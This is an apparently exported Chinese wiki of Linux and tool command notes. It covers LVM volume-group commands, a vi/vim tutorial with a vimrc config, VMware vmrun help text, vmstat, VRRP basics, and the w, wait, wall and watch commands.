*   物理卷列表:指定要删除的物理卷列表。

</div>

!! 实例  

:<div>


使用vgreduce命令从卷组"vg2000"中移除物理卷`/dev/sdb2`。在命令行中输入下面的命令:

```
[root@localhost ~]# vgreduce vg2000 /dev/sdb2    #将物理卷"/dev/sdb2"从卷组"vg2000"中删除
```

输出信息如下:

```
Removed "/dev/sdb2" from volume group "vg2000"
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
vgremove
===

用于用户删除LVM卷组

</div>

!! 补充说明

:<div>


"vgremove命令" 用于用户删除LVM卷组。当要删除的卷组上已经创建了逻辑卷时,vgremove命令需要进行确认删除,防止误删除数据。

</div>

!! 语法  

:<div>


```
vgremove(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-f:强制删除。
```

</div>

!! 参数  

:<div>


卷组:指定要删除的卷组名称。

</div>

!! 实例  

:<div>


使用vgremove命令删除LVM卷组"vg1000"。在命令行中输入下面的命令:

```
[root@localhost ~]# vgremove vg1000    #删除卷组"vg1000"
Volume group "vg1000" successfully removed
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
vgrename
===

使用vgrename命令可以重命名卷组的名称。

</div>

!! 补充说明

:<div>


"grename命令" 可以重命名卷组的名称。

</div>

!! 语法  

:<div>


```
vgrename [选项] [旧卷组路径|旧卷组名称|旧卷组UUID] [新卷组路径|新卷组名称]
```

</div>

!! 选项  

:<div>


```
-d 启用调试模式
-t 启用测试模式
```

</div>

!! 例子

:<div>


重命名卷组/dev/vg1为/dev/vg2。

```bash
[root@localhost ~]# vgrename /dev/vg1 /dev/vg2
  Volume group "vg1" successfullyrenamed to "vg2"
```

重命名卷组vg1为vg2。

```bash
[root@localhost ~]# vgrename vg1 vg2
  Volume group "vg1" successfully renamed to "vg2"
```

<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
vgscan
===

扫描并显示系统中的卷组

</div>

!! 补充说明

:<div>


"vgscan命令" 查找系统中存在的LVM卷组,并显示找到的卷组列表。vgscan命令仅显示找到的卷组的名称和LVM元数据类型,要得到卷组的详细信息需要使用vgdisplay命令。

</div>

!! 语法  

:<div>


```
vgscan(选项)
```

</div>

!! 选项  

:<div>


```
-d:调试模式;
--ignorerlockingfailure:忽略锁定失败的错误。
```

</div>

!! 实例  

:<div>


使用vgscan命令扫描系统中所有的卷组。在命令行中输入下面的命令:

```
[root@localhost ~]# vgscan     #扫描并显示LVM卷组列表
```

输出信息如下:

```
Found volume group "vg2000" using metadata type lvm2  
Found volume group "vg1000" using metadata type lvm2 
```

说明:本例中,vgscan指令找到了两个LVM2卷组"vg1000"和"vg2000"。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
vi
===

功能强大的纯文本编辑器

</div>

!! 补充说明

:<div>


"vi命令" 是UNIX操作系统和类UNIX操作系统中最通用的全屏幕纯文本编辑器。Linux中的vi编辑器叫vim,它是vi的增强版(vi Improved),与vi编辑器完全兼容,而且实现了很多增强功能。

vi编辑器支持编辑模式和命令模式,编辑模式下可以完成文本的编辑功能,命令模式下可以完成对文件的操作命令,要正确使用vi编辑器就必须熟练掌握着两种模式的切换。默认情况下,打开vi编辑器后自动进入命令模式。从编辑模式切换到命令模式使用“esc”键,从命令模式切换到编辑模式使用“A”、“a”、“O”、“o”、“I”、“i”键。

vi编辑器提供了丰富的内置命令,有些内置命令使用键盘组合键即可完成,有些内置命令则需要以冒号“:”开头输入。常用内置命令如下:

```
Ctrl+u:向文件首翻半屏;
Ctrl+d:向文件尾翻半屏;
Ctrl+f:向文件尾翻一屏;
Ctrl+b:向文件首翻一屏;
Esc:从编辑模式切换到命令模式;
ZZ:命令模式下保存当前文件所做的修改后退出vi;
:行号:光标跳转到指定行的行首;
:$:光标跳转到最后一行的行首;
x或X:删除一个字符,x删除光标后的,而X删除光标前的;
D:删除从当前光标到光标所在行尾的全部字符;
dd:删除光标行正行内容;
ndd:删除当前行及其后n-1行;
nyy:将当前行及其下n行的内容保存到寄存器?中,其中?为一个字母,n为一个数字;
p:粘贴文本操作,用于将缓存区的内容粘贴到当前光标所在位置的下方;
P:粘贴文本操作,用于将缓存区的内容粘贴到当前光标所在位置的上方;
/字符串:文本查找操作,用于从当前光标所在位置开始向文件尾部查找指定字符串的内容,查找的字符串会被加亮显示;
?name:文本查找操作,用于从当前光标所在位置开始向文件头部查找指定字符串的内容,查找的字符串会被加亮显示;
a,bs/F/T:替换文本操作,用于在第a行到第b行之间,将F字符串换成T字符串。其中,“s/”表示进行替换操作;
a:在当前字符后添加文本;
A:在行末添加文本;
i:在当前字符前插入文本;
I:在行首插入文本;
o:在当前行后面插入一空行;
O:在当前行前面插入一空行;
:wq:在命令模式下,执行存盘退出操作;
:w:在命令模式下,执行存盘操作;
:w!:在命令模式下,执行强制存盘操作;
:q:在命令模式下,执行退出vi操作;
:q!:在命令模式下,执行强制退出vi操作;
:e文件名:在命令模式下,打开并编辑指定名称的文件;
:n:在命令模式下,如果同时打开多个文件,则继续编辑下一个文件;
:f:在命令模式下,用于显示当前的文件名、光标所在行的行号以及显示比例;
:set number:在命令模式下,用于在最左端显示行号;
:set nonumber:在命令模式下,用于在最左端不显示行号;
```

</div>

!! 语法  

:<div>


```
vi(选项)(参数)
```

</div>

!! 选项  

:<div>


```
+<行号>:从指定行号的行开始先是文本内容;
-b:以二进制模式打开文件,用于编辑二进制文件和可执行文件;
-c<指令>:在完成对第一个文件编辑任务后,执行给出的指令;
-d:以diff模式打开文件,当多个文件编辑时,显示文件差异部分;
-l:使用lisp模式,打开“lisp”和“showmatch”;
-m:取消写文件功能,重设“write”选项;
-M:关闭修改功能;
-n:不实用缓存功能;
-o<文件数目>:指定同时打开指定数目的文件;
-R:以只读方式打开文件;
-s:安静模式,不现实指令的任何错误信息。
```

</div>

!! 参数  

:<div>


文件列表:指定要编辑的文件列表。多个文件之间使用空格分隔开。

</div>

!! 知识扩展  

:<div>


vi编辑器有三种工作方式:命令方式、输入方式和ex转义方式。通过相应的命令或操作,在这三种工作方式之间可以进行转换。

 "命令方式" 

在Shell提示符后输入命令vi,进入vi编辑器,并处于vi的命令方式。此时,从键盘上输入的任何字符都被作为编辑命令来解释,例如,a(append)表示附加命令,i(insert)表示插入命令,x表示删除字符命令等。如果输入的字符不是vi的合法命令,则机器发出“报警声”,光标不移动。另外,在命令方式下输入的字符(即vi命令)并不在屏幕上显示出来,例如,输入i,屏幕上并无变化,但通过执行i命令,编辑器的工作方式却发生变化:由命令方式变为输入方式。

 "输入方式" 

通过输入vi的插入命令(i)、附加命令(a)、打开命令(o)、替换命令(s)、修改命令(c)或取代命令(r)可以从命令方式进入输入方式。在输入方式下,从键盘上输入的所有字符都被插入到正在编辑的缓冲区中,被当做该文件的正文。进入输入方式后,输入的可见字符都在屏幕上显示出来,而编辑命令不再起作用,仅作为普通字母出现。例如,在命令方式下输入字母i,进到输入方式,然后再输入i,就在屏幕上相应光标处添加一个字母i。

由输入方式回到命令方式的办法是按下Esc键。如果已在命令方式下,那么按下Esc键就会发出“嘟嘟”声。为了确保用户想执行的vi命令是在命令方式下输入的,不妨多按几下Esc键,听到嘟声后再输入命令。

 "ex转义方式" 

vi和ex编辑器的功能是相同的,二者的主要区别是用户界面。在vi中,命令通常是单个字母,如a,x,r等。而在ex中,命令是以Enter;键结束的命令行。vi有一个专门的“转义”命令,可访问很多面向行的ex命令。为使用ex转义方式,可输入一个冒号(:)。作为ex命令提示符,冒号出现在状态行(通常在屏幕最下一行)。按下中断键(通常是Del键),可终止正在执行的命令。多数文件管理命令都是在ex转义方式下执行的(例如,读取文件,把编辑缓冲区的内容写到文件中等)。转义命令执行后,自动回到命令方式。例如:

```
:1,$s/I/i/g 按Enter键
```

则从文件第一行至文件末尾($)将大写I全部替换成小写i。vi编辑器的三种工作方式之间的转换如图所示。

!vi


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!01. 配置文件

:<div>

;/etc/vim/vimrc.local
 
:<div>

```
set tabstop=4
set nobackup
syntax on
set expandtab
set nu
set cursorline
set fileencodings=utf-8,ucs-bom,gb18030,gbk,gb2312,cp936
set termencoding=utf-8
set encoding=utf-8
let autosave=5

autocmd BufNewFile *.sh exec ":call SetTitle()"
func SetTitle()
    if expand("%:e") == 'sh'
            call setline(1,"#!/bin/bash")
            call setline(2,"#------------------------------------")
            call setline(3,"# FileName:     ".expand("%"))
            call setline(4,"# Revision:     0.1                  ")
            call setline(5,"# Language:     bash                 ")
            call setline(6,"# Author:       liming.wei           ")
            call setline(7,"# Date:         ".strftime("%Y-%m-%d"))
            call setline(8,"# Description:                      ")
            call setline(9,"#------------------------------------")
            call setline(10,"")
            call setline(11,"set -o nounset")
            call setline(12,"set -o errexit")
            call setline(13,"")
        endif
endfunc

autocmd BufNewFile * normal G
set pastetoggle=<F11>

```
</div>




* 取消高亮
:<div>

```
:noh
```
</div>

* 复制模式
 
:<div>

```bash
# 手动切换
:set paste
# 定义快捷键
:map <F10> :set paste<CR> :map <F11> :set nopaste<CR> 
# 开关快捷键
:set pastetoggle=<F11> 
```
</div>
</div>

!02. 命令
:<div>

01. 常规操作

:<div>


|!   命令     |!                     说明                      |
|x           |删除光标下的字符                               |
|X           |删除光标左边的字符                              |
|s           |修改一个字符(与r的区别,修改后直接进入Insert模式) |
|i           |光标前插入字符                                 |
|a           |光标后插入字符                                 |
|A           |行尾插入字符                                   |
|o           |光标下方新建一行并进入Insert模式                |
|O (字母)    |光标上方新建一行并进入Insert模式                |
|r           |替换字符(单个)                                |
|R           |替换字符(多个)                                |
|cw          |替换文本直到单词末尾(ce也可)                    |
|c$          |替换文本直到行尾                               |
|dw          |删除单词 (de, d2w)                            |
|d$          |删除到行尾                                     |
|D           |删除到行尾                                     |
|S           |删除到行为,并进入Insert模式                    |
|dd          |删除整行                                      |
|y           |复制                                          |
|yy          |复制整行 (yw, ye)                             |
|p           |粘贴到光标之后                                 |
|P           |粘贴到光标之前                                 |
|u           |撤销                                          |
|.           |重复上一次操作                                 |
|:!          |执行外部名 (:!dir/:ls)                         |
|%           |查找配对的括号 ), }, ]                         |
|v motion :w |选择性保存                                     |
|Ctrl + D    |查看可能的补全                                 |

</div>

02. 光标移动

:<div>

|!命令|!说明|
|h|左|
|l|右|
|k|上|
|j|下|
|0 (数字)|行首|
|$|行尾|
|w|下一个单词起始处|
|nw (2w)|n可为数字,表示移动两个单词|
|e|单词末尾(与w的区别)|
|gg|文件起始处|
|G|文件末尾处|
</div>

03. 退出

:<div>

|!命令|!说明|
|:wq|保存并退出|
|ZZ|保存并退出|
|:q!|丢弃修改并退出 (q退出,有修改的话q不能退出)|
|:e!|丢弃修改并打开原文件|
</div>

04. 查找并替换

:<div>

|!命令|!说明|
|:s/old/new/g|查找old并替换为new,g代表整行匹配|
|:#, #s/old/new|#, #代表首尾行号|
|:%s/old/new/g|全文匹配替换|
|:%s/old/new/gc|全文匹配替换,并每次替换会弹出确认提示|
</div>

05. 翻页

:<div>

|!命令|!说明|
|Ctrl + e|向下滚动一行|
|Ctrl + y|向上滚动一行|
|Ctrl + f|向下翻一页|
|Ctrl + b|向上翻一页|
|Ctrl + u|向上翻半页|
|Ctrl + d|向下翻半页|

</div>

06. 文件操作

:<div>

|!命令|!说明|
|:e + filename|打开新文件|
|:r + filename|读取文件并插入到当前文件|

</div>

07. 选项设置

:<div>

|!命令|!说明|
|:set ic|忽略大小写|
|:set is|部分匹配(like)|
|:set hls|高亮匹配|
|:set nu|显示行号|
|分屏启动vim|
|命令|说明|
|vim -on file1 file2...|水平分屏|
|vim -On file1 file2...|垂直分屏|
</div>

08. 关闭分屏

:<div>

|!命令|!说明|
|Ctrl + w  c|关闭当前窗口(如果是最后一个,无法关闭)|
|Ctrl + w q|关闭当前窗口(如果是最后一个,则退出vim)|

</div>

09. 分屏

:<div>

|!命令|!说明|
|Ctrl + w s|上下分屏|
|Ctrl + w v|左右分屏|
|:sp filename|左右分屏,且打开一个新的文件|
|:vsp filename|上下分屏,且打开一个新的文件|

</div>

10. 切换分屏(光标切换)

:<div>

|!命令|!说明|
|Ctrl + w l|右边|
|Ctrl + w h|左边|
|Ctrl + w j|上边|
|Ctrl + w k|下边|

</div>

11. 分屏尺寸调整

:<div>

|!命令|!说明|
|Ctrl + w =|所有屏一样高度|
|Ctrl + w +|增加高度|
|Ctrl + w -|减少高度|
</div>

12. 折叠方式

:<div>

可用选项来设定折叠方式:

可在Vim 配置文件中设置 set fdm=XXX
可直接在文件中使用注释调用vim命令 /* vim: set fdm=XXX: */

有6种方法来选定折叠:

```
manual          手工定义折叠         
indent           更多的缩进表示更高级别的折叠         
expr              用表达式来定义折叠         
syntax           用语法高亮来定义折叠         
diff                对没有更改的文本进行折叠         
marker           对文中的标志折叠
```
注意,每一种折叠方式不兼容,如不能既用expr又用marker方式,我主要轮流使用indent和marker方式进行折叠。

使用时,用 set fdm=marker 命令来设置成marker折叠方式(fdm是foldmethod的缩写)。
要使每次打开vim时折叠都生效,则在.vimrc文件中添加设置,如添加:set fdm=syntax,就像添加其它的初始化设置一样。

</div>
13. 折叠命令

:<div>

选取了折叠方式后,我们就可以对某些代码实施我们需要的折叠了,由于我使用indent和marker稍微多一些,故以它们的使用为例:如果使用了indent方式,vim会自动的对大括号的中间部分进行折叠,我们可以直接使用这些现成的折叠成果。

在可折叠处(大括号中间):

```
zc      折叠
zC     对所在范围内所有嵌套的折叠点进行折叠
zo      展开折叠
zO     对所在范围内所有嵌套的折叠点展开
[z       到当前打开的折叠的开始处。
]z       到当前打开的折叠的末尾处。
zj       向下移动。到达下一个折叠的开始处。关闭的折叠也被计入。
zk      向上移动到前一折叠的结束处。关闭的折叠也被计入。
```
当使用marker方式时,需要用标计来标识代码的折叠,系统默认是{{{和}}},最好不要改动

我们可以使用下面的命令来创建和删除折叠:

```bash
zf      创建折叠,比如在marker方式下:                  
         zf56G,创建从当前行起到56行的代码折叠;                  
         10zf或10zf+或zf10↓,创建从当前行起到后10行的代码折叠。                  
         10zf-或zf10↑,创建从当前行起到之前10行的代码折叠。                  
         在括号处zf%,创建从当前行起到对应的匹配的括号上去((),{},[],<>等)。
 
zd      删除 (delete) 在光标下的折叠。
         仅当 'foldmethod' 设为 "manual" 或 "marker" 时有效。
 
zD     循环删除 (Delete) 光标下的折叠,即嵌套删除折叠。
         仅当 'foldmethod' 设为 "manual" 或 "marker" 时有效。
 
zE      除去 (Eliminate) 窗口里“所有”的折叠。
         仅当 'foldmethod' 设为 "manual" 或 "marker" 时有效。
```
</div>
</div>
<div class="vlan">

    <<toc-selective-expandable 'vlan'>>

</div>
```
C:\Program Files (x86)\VMware\VMware Workstation>vmrun.exe /?

vmrun version 1.17.0 build-6661328

Usage: vmrun [AUTHENTICATION-FLAGS] COMMAND [PARAMETERS]



AUTHENTICATION-FLAGS
--------------------
These must appear before the command and any command parameters.

   -T <hostType> (ws|fusion||player)
   -vp <password for encrypted virtual machine>
   -gu <userName in guest OS>
   -gp <password in guest OS>



POWER COMMANDS           PARAMETERS           DESCRIPTION
--------------           ----------           -----------
start                    Path to vmx file     Start a VM or Team
                         [gui|nogui]

stop                     Path to vmx file     Stop a VM or Team
                         [hard|soft]

reset                    Path to vmx file     Reset a VM or Team
                         [hard|soft]

suspend                  Path to vmx file     Suspend a VM or Team
                         [hard|soft]

pause                    Path to vmx file     Pause a VM

unpause                  Path to vmx file     Unpause a VM



SNAPSHOT COMMANDS        PARAMETERS           DESCRIPTION
-----------------        ----------           -----------
listSnapshots            Path to vmx file     List all snapshots in a VM
                         [showTree]

snapshot                 Path to vmx file     Create a snapshot of a VM
                         Snapshot name

deleteSnapshot           Path to vmx file     Remove a snapshot from a VM
                         Snapshot name
                         [andDeleteChildren]

revertToSnapshot         Path to vmx file     Set VM state to a snapshot
                         Snapshot name



GUEST OS COMMANDS        PARAMETERS           DESCRIPTION
-----------------        ----------           -----------
runProgramInGuest        Path to vmx file     Run a program in Guest OS
                         [-noWait]
                         [-activeWindow]
                         [-interactive]
                         Complete-Path-To-Program
                         [Program arguments]

fileExistsInGuest        Path to vmx file     Check if a file exists in Guest OS
                         Path to file in guest

directoryExistsInGuest   Path to vmx file     Check if a directory exists in Guest OS
                         Path to directory in guest

setSharedFolderState     Path to vmx file     Modify a Host-Guest shared folder
                         Share name
                         Host path
                         writable | readonly

addSharedFolder          Path to vmx file     Add a Host-Guest shared folder
                         Share name
                         New host path

removeSharedFolder       Path to vmx file     Remove a Host-Guest shared folder
                         Share name

enableSharedFolders      Path to vmx file     Enable shared folders in Guest
                         [runtime]

disableSharedFolders     Path to vmx file     Disable shared folders in Guest
                         [runtime]

listProcessesInGuest     Path to vmx file     List running processes in Guest OS

killProcessInGuest       Path to vmx file     Kill a process in Guest OS
                         process id

runScriptInGuest         Path to vmx file     Run a script in Guest OS
                         [-noWait]
                         [-activeWindow]
                         [-interactive]
                         Interpreter path
                         Script text

deleteFileInGuest        Path to vmx file     Delete a file in Guest OS
                         Path in guest

createDirectoryInGuest   Path to vmx file     Create a directory in Guest OS
                         Directory path in guest

deleteDirectoryInGuest   Path to vmx file     Delete a directory in Guest OS
                         Directory path in guest

CreateTempfileInGuest    Path to vmx file     Create a temporary file in Guest OS

listDirectoryInGuest     Path to vmx file     List a directory in Guest OS
                         Directory path in guest

CopyFileFromHostToGuest  Path to vmx file     Copy a file from host OS to guest OS
                         Path on host
                         Path in guest

CopyFileFromGuestToHost  Path to vmx file     Copy a file from guest OS to host OS
                         Path in guest
                         Path on host

renameFileInGuest        Path to vmx file     Rename a file in Guest OS
                         Original name
                         New name

typeKeystrokesInGuest    Path to vmx file     Type Keystrokes in Guest OS
                         keystroke string

connectNamedDevice       Path to vmx file     Connect the named device in the Guest OS
                         device name

disconnectNamedDevice    Path to vmx file     Disconnect the named device in the Guest OS
                         device name

captureScreen            Path to vmx file     Capture the screen of the VM to a local file
                         Path on host

writeVariable            Path to vmx file     Write a variable in the VM state
                         [runtimeConfig|guestEnv|guestVar]
                         variable name
                         variable value

readVariable             Path to vmx file     Read a variable in the VM state
                         [runtimeConfig|guestEnv|guestVar]
                         variable name

getGuestIPAddress        Path to vmx file     Gets the IP address of the guest
                         [-wait]



GENERAL COMMANDS         PARAMETERS           DESCRIPTION
----------------         ----------           -----------
list                                          List all running VMs

upgradevm                Path to vmx file     Upgrade VM file format, virtual hw

installTools             Path to vmx file     Install Tools in Guest

checkToolsState          Path to vmx file     Check the current Tools state

deleteVM                 Path to vmx file     Delete a VM

clone                    Path to vmx file     Create a copy of the VM
                         Path to destination vmx file
                         full|linked
                         [-snapshot=Snapshot Name]
                         [-cloneName=Name]



Template VM COMMANDS     PARAMETERS           DESCRIPTION
---------------------    ----------           -----------
downloadPhotonVM         Path for new VM      Download Photon VM





Examples:


Starting a virtual machine with Workstation on a Windows host
   vmrun -T ws start "c:\my VMs\myVM.vmx"


Running a program in a virtual machine with Workstation on a Windows host with Windows guest
   vmrun -T ws -gu guestUser -gp guestPassword runProgramInGuest "c:\my VMs\myVM.vmx" "c:\Program Files\myProgram.exe"


Creating a snapshot of a virtual machine with Workstation on a Windows host
   vmrun -T ws snapshot "c:\my VMs\myVM.vmx" mySnapshot


Reverting to a snapshot with Workstation on a Windows host
   vmrun -T ws revertToSnapshot "c:\my VMs\myVM.vmx" mySnapshot


Deleting a snapshot with Workstation on a Windows host
   vmrun -T ws deleteSnapshot "c:\my VMs\myVM.vmx" mySnapshot


Enabling Shared Folders with Workstation on a Windows host
   vmrun -T ws enableSharedFolders "c:\my VMs\myVM.vmx"
```
''vmstat''命令的含义为显示虚拟内存状态(“Viryual Memor Statics”),但是它可以报告关于进程、内存、I/O等系统整体运行状态。

;选项
:<pre>

```bash
-a:显示活动内页;
-f:显示启动后创建的进程总数;
-m:显示slab信息;
-n:头信息仅显示一次;
-s:以表格方式显示事件计数器和内存状态;
-d:报告磁盘状态;
-p:显示指定的硬盘分区状态;
-S:输出信息的单位。
```
</pre>

;参数
:事件间隔:状态信息刷新的时间间隔;
:次数:显示报告的次数。

!实例
:<pre>

```bash
[root@ALI01 mage]# vmstat 3
procs -----------memory---------- ---swap-- -----io---- -system-- ------cpu-----
 r  b   swpd   free   buff  cache   si   so    bi    bo   in   cs us sy id wa st
 4  0      0 109920 106332 1267152    0    0     0     4    1    0 67  2 31  0  0
 1  0      0 109904 106332 1267152    0    0     0     0 1085  122 97  3  0  0  0
 1  0      0 109548 106332 1267156    0    0     0   112 1102  140 97  3  0  0  0
 1  0      0 109548 106332 1267156    0    0     0    12 1090  132 98  2  0  0  0
 2  0      0 109548 106332 1267156    0    0     0     0 1098  128 97  3  0  0  0
 1  0      0 109424 106332 1267156    0    0     0  1007 1112  158 97  3  0  0  0
 1  0      0 109512 106332 1267156    0    0     0     1 1110  156 97  3  0  0  0
 1  0      0 109548 106336 1267156    0    0     0    20 1078  122 97  3  0  0  0
 1  0      0 109548 106336 1267156    0    0     0     0 1102  134 97  3  0  0  0
 1  0      0 109548 106336 1267156    0    0     0     0 1079  133 97  3  0  0  0
 1  0      0 109548 106336 1267156    0    0     0     0 1084  120 97  3  0  0  0
```
</pre>

!字段说明:

;Procs(进程)

    :r: 运行队列中进程数量,这个值也可以判断是否需要增加CPU。(长期大于1)
    :b: 等待IO的进程数量。
;Memory(内存)

    :swpd: 使用虚拟内存大小,如果swpd的值不为0,但是SI,SO的值长期为0,这种情况不会影响系统性能。
    :free: 空闲物理内存大小。
    :buff: 用作缓冲的内存大小。 :cache:用作缓存的内存大小,如果cache的值大的时候,说明cache处的文件数多,如果频繁访问到的文件都能被cache处,那么磁盘的读IO bi会非常小。
;Swap

    :si: 每秒从交换区写到内存的大小,由磁盘调入内存。
    :so: 每秒写入交换区的内存大小,由内存调入磁盘。
    :注意:内存够用的时候,这2个值都是0,如果这2个值长期大于0时,系统性能会受到影响,磁盘IO和CPU资源都会被消耗。有些朋友看到空闲内存(free)很少的或接近于0时,就认为内存不够用了,不能光看这一点,还要结合si和so,如果free很少,但是si和so也很少(大多时候是0),那么不用担心,系统性能这时不会受到影响的。

;IO(现在的Linux版本块的大小为1kb)

    :bi: 每秒读取的块数
    :bo: 每秒写入的块数
    :注意:随机磁盘读写的时候,这2个值越大(如超出1024k),能看到CPU在IO等待的值也会越大。

;system(系统)

    :in: 每秒中断数,包括时钟中断。
    :cs: 每秒上下文切换数。
    :注意:上面2个值越大,会看到由内核消耗的CPU时间会越大。

;CPU(以百分比表示)

    :us: 用户进程执行时间百分比(user time)
    :us的值比较高时,说明用户进程消耗的CPU时间多,但是如果长期超50%的使用,那么我们就该考虑优化程序算法或者进行加速。
    :
    :sy: 内核系统进程执行时间百分比(system time)
    :sy的值高时,说明系统内核消耗的CPU资源多,这并不是良性表现,我们应该检查原因。
    :
    :wa: IO等待时间百分比
    :wa的值高时,说明IO等待比较严重,这可能由于磁盘大量作随机访问造成,也有可能磁盘出现瓶颈(块操作)。
    :
    :id: 空闲时间百分比
```
---------------------------
VMware Workstation
---------------------------
Usage: vmware [OPTION ...] [--] [configuration file(s)]
where OPTIONS are:
       -v              		Show program version
       -x              		Power on when a virtual machine is opened
       -X              		Same as -x but also go into full screen mode
       -p              		Start the virtual machine paused
       -q              		Close virtual machine at power off
       -s NAME=VALUE   	Set variable NAME to VALUE
       -n              		Open a new window
       -f              		Start in full screen mode

Console connection:
       -H hostname     	Host
       -U username     	User name
       -P password     	Password for remote connections

```
```
VMware KVM 可运行虚拟机,并允许使用热键在虚拟机和主机之间进行切换。

用法: vmware-kvm.exe [选项...] [--] [文件]

选项可能包括:

    --exit
	退出 VMware KVM。

    --power-off[=hard]
	关闭指定的虚拟机。

    --suspend[=hard]
	挂起指定的虚拟机。

    --reset[=hard]
	重置指定的虚拟机。

    --preferences
	显示首选项对话框。
 
   --detach
	断开与指定虚拟机的连接,使其在后台运行。
```
''volname''命令用于显示指定的“ISO-9660”格式的设备的卷名称,通常这种格式的设备为`光驱`。

!!VRRP是什么?
:<div>

:VRRP(Virtual Router Redundancy Protocol,虚拟路由器冗余协议)是一种容错协议,保证当主机的下一条路由器出现故障时,由另一台路由器来代替出现故障的路由器进行工作,从而保持网络通信的连续性和可靠性。

;VRRP相关术语:
:1.虚拟路由器:
::由一个Master路由器和一个或多个Backup路由器组成。所有的Master和Backup组成一个组,这个主就是虚拟路由器。
:2.VRID:
::虚拟路由器的标识。同一虚拟路由器内的路由器有着相同的VRID。
:3.Master:
::虚拟路由器中正在工作的路由器
:4.Backup:
::备用路由器。
:5.虚拟IP地址:
::路由器组(虚拟路由器)的IP地址。
:6.优先级:
::用来确定Master和Backup。
:7.抢占模式与非抢占模式:
::Master会以组播方式不断的向虚拟路由器组内发送自己的心跳报文,一旦Backup在设定时间内没有收到心跳信息的次数超过了设定次数,则会将Master的所有权转移到优先级最高的Backup,则就是抢占模式。
::非抢占模式是指只有在主节点完全故障时才能将backup变为master。
</div>
|!操作|!快捷键|
|注释 |CTRL+K CTRL+C|
|取消注释| CTRL+K CTRL+U|


https://lzw.me/a/vscode-visual-studio-code-shortcut.html
```
DESCRIPTION
       w  displays  information  about  the users currently on the machine, and their processes.
       The header shows, in this order, the current time, how long the system has been  running,
       how  many  users are currently logged on, and the system load averages for the past 1, 5,
       and 15 minutes.

       The following entries are displayed for each user: login name, the tty name,  the  remote
       host, login time, idle time, JCPU, PCPU, and the command line of their current process.

       The JCPU time is the time used by all processes attached to the tty.  It does not include
       past background jobs, but does include currently running background jobs.

       The PCPU time is the time used by the current process, named in the "what" field.

COMMAND-LINE OPTIONS
       -h, --no-header
              Don't print the header.

       -u, --no-current
              Ignores the username while figuring out the current process  and  cpu  times.   To
              demonstrate this, do a "su" and do a "w" and a "w -u".

       -s, --short
              Use the short format.  Don't print the login time, JCPU or PCPU times.

       -f, --from
              Toggle  printing the from (remote hostname) field.  The default as released is for
              the from field to not be printed, although your system administrator or  distribu‐
              tion  maintainer  may  have compiled a version in which the from field is shown by
              default.

       --help Display help text and exit.

       -i, --ip-addr
              Display IP address instead of hostname for from field.

       -V, --version
              Display version information.

       -o, --old-style
              Old style output.  Prints blank space for idle times less than one minute.

       user   Show information about the specified user only.

ENVIRONMENT
       PROCPS_USERLEN
              Override the default width of the username column.  Defaults to 8.

       PROCPS_FROMLEN
              Override the default width of the from column.  Defaults to 16.

```

* exp
** <pre>

```bash
[root@qs02 ~]# w -i
 10:21:28 up 7 days, 18:51,  1 user,  load average: 0.09, 0.25, 0.28
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
root     pts/0    190.115.62.45    10:15    0.00s  0.04s  0.00s w -i

[root@qs02 ~]# w -o
 10:21:35 up 7 days, 18:52,  1 user,  load average: 0.08, 0.24, 0.28
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
root     pts/0    190.115.62.45    10:15                        w -o

[root@qs02 ~]# w -f
 10:21:46 up 7 days, 18:52,  1 user,  load average: 0.07, 0.24, 0.27
USER     TTY        LOGIN@   IDLE   JCPU   PCPU WHAT
root     pts/0     10:15    2.00s  0.04s  0.00s w -f

[root@qs02 ~]# w -s
 10:22:04 up 7 days, 18:52,  1 user,  load average: 0.05, 0.22, 0.27
USER     TTY      FROM              IDLE WHAT
root     pts/0    190.115.62.45     4.00s w -s

[root@qs02 ~]# w -u
 10:22:24 up 7 days, 18:52,  1 user,  load average: 0.03, 0.21, 0.26
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
root     pts/0    190.115.62.45    10:15    0.00s  0.05s  0.00s w -u

[root@qs02 ~]# w -h
root     pts/0    190.115.62.45    10:15    3.00s  0.05s  0.00s w -h

[root@qs02 ~]# w
 10:22:52 up 7 days, 18:53,  1 user,  load average: 0.08, 0.21, 0.26
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
root     pts/0    190.115.62.45    10:15    4.00s  0.05s  0.00s w

```
</pre>

!!简介
:<div>
wait
===

等待进程执行完后返回

</div>

!! 补充说明

:<div>


"wait命令" 用来等待指令的指令,直到其执行完毕后返回终端。该指令常用于shell脚本编程中,待指定的指令执行完成后,才会继续执行后面的任务。该指令等待作业时,在作业标识号前必须添加备份号"%"。

</div>

!! 语法  

:<div>


```
wait(参数)
```

</div>

!! 参数  

:<div>


进程或作业标示:指定进程号或者作业号。

</div>

!! 实例  

:<div>


使用命令wait等待作业号为1的作业完成后再返回,输入如下命令:

```
wait %1       #等待作业号为3的作业完成 
```

执行上面的指令后,将输出指定作业号的指令,如下所示:

```
find / -name password
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
! 简介
:<div>

```
wall命令用于向系统当前所有打开的终端上输出信息。通过wall命令可将信息发送给每位同意接收公众信息的终端机用户,若不给予其信息内容,则wall命令会从标准输入设备读取数据,然后再把所得到的数据传送给所有终端机用户。
```
</div>


!实例
:<div>

```bash
[root@localhost ~]# wall this is a test line

Broadcast message from root (pts/1) (Fri Dec 20 11:36:51 2013):

this is a test line
```
</div>
!!01. 简介
:<div>

```
watch命令以周期性的方式执行给定的指令,指令输出以全屏方式显示。
```
</div>


!!02. 选项
:<div>

```
-n:指定指令执行的间隔时间(秒)
-d:高亮显示指令输出信息不同之处
-t:不显示标题
```
</div>

!! 03. EXP

:<div>

```bash
# watch

# Execute a command repeatedly, and monitor the output in full-screen mode.

# Monitor files in the current folder:
  watch ls

# Monitor disk space and highlight the changes:
  watch -d df

# Monitor "node" processes, refreshing every 3 seconds:
  watch -n 3 "ps aux | grep node"
```
</div>

!! TIPS

:<div>

```
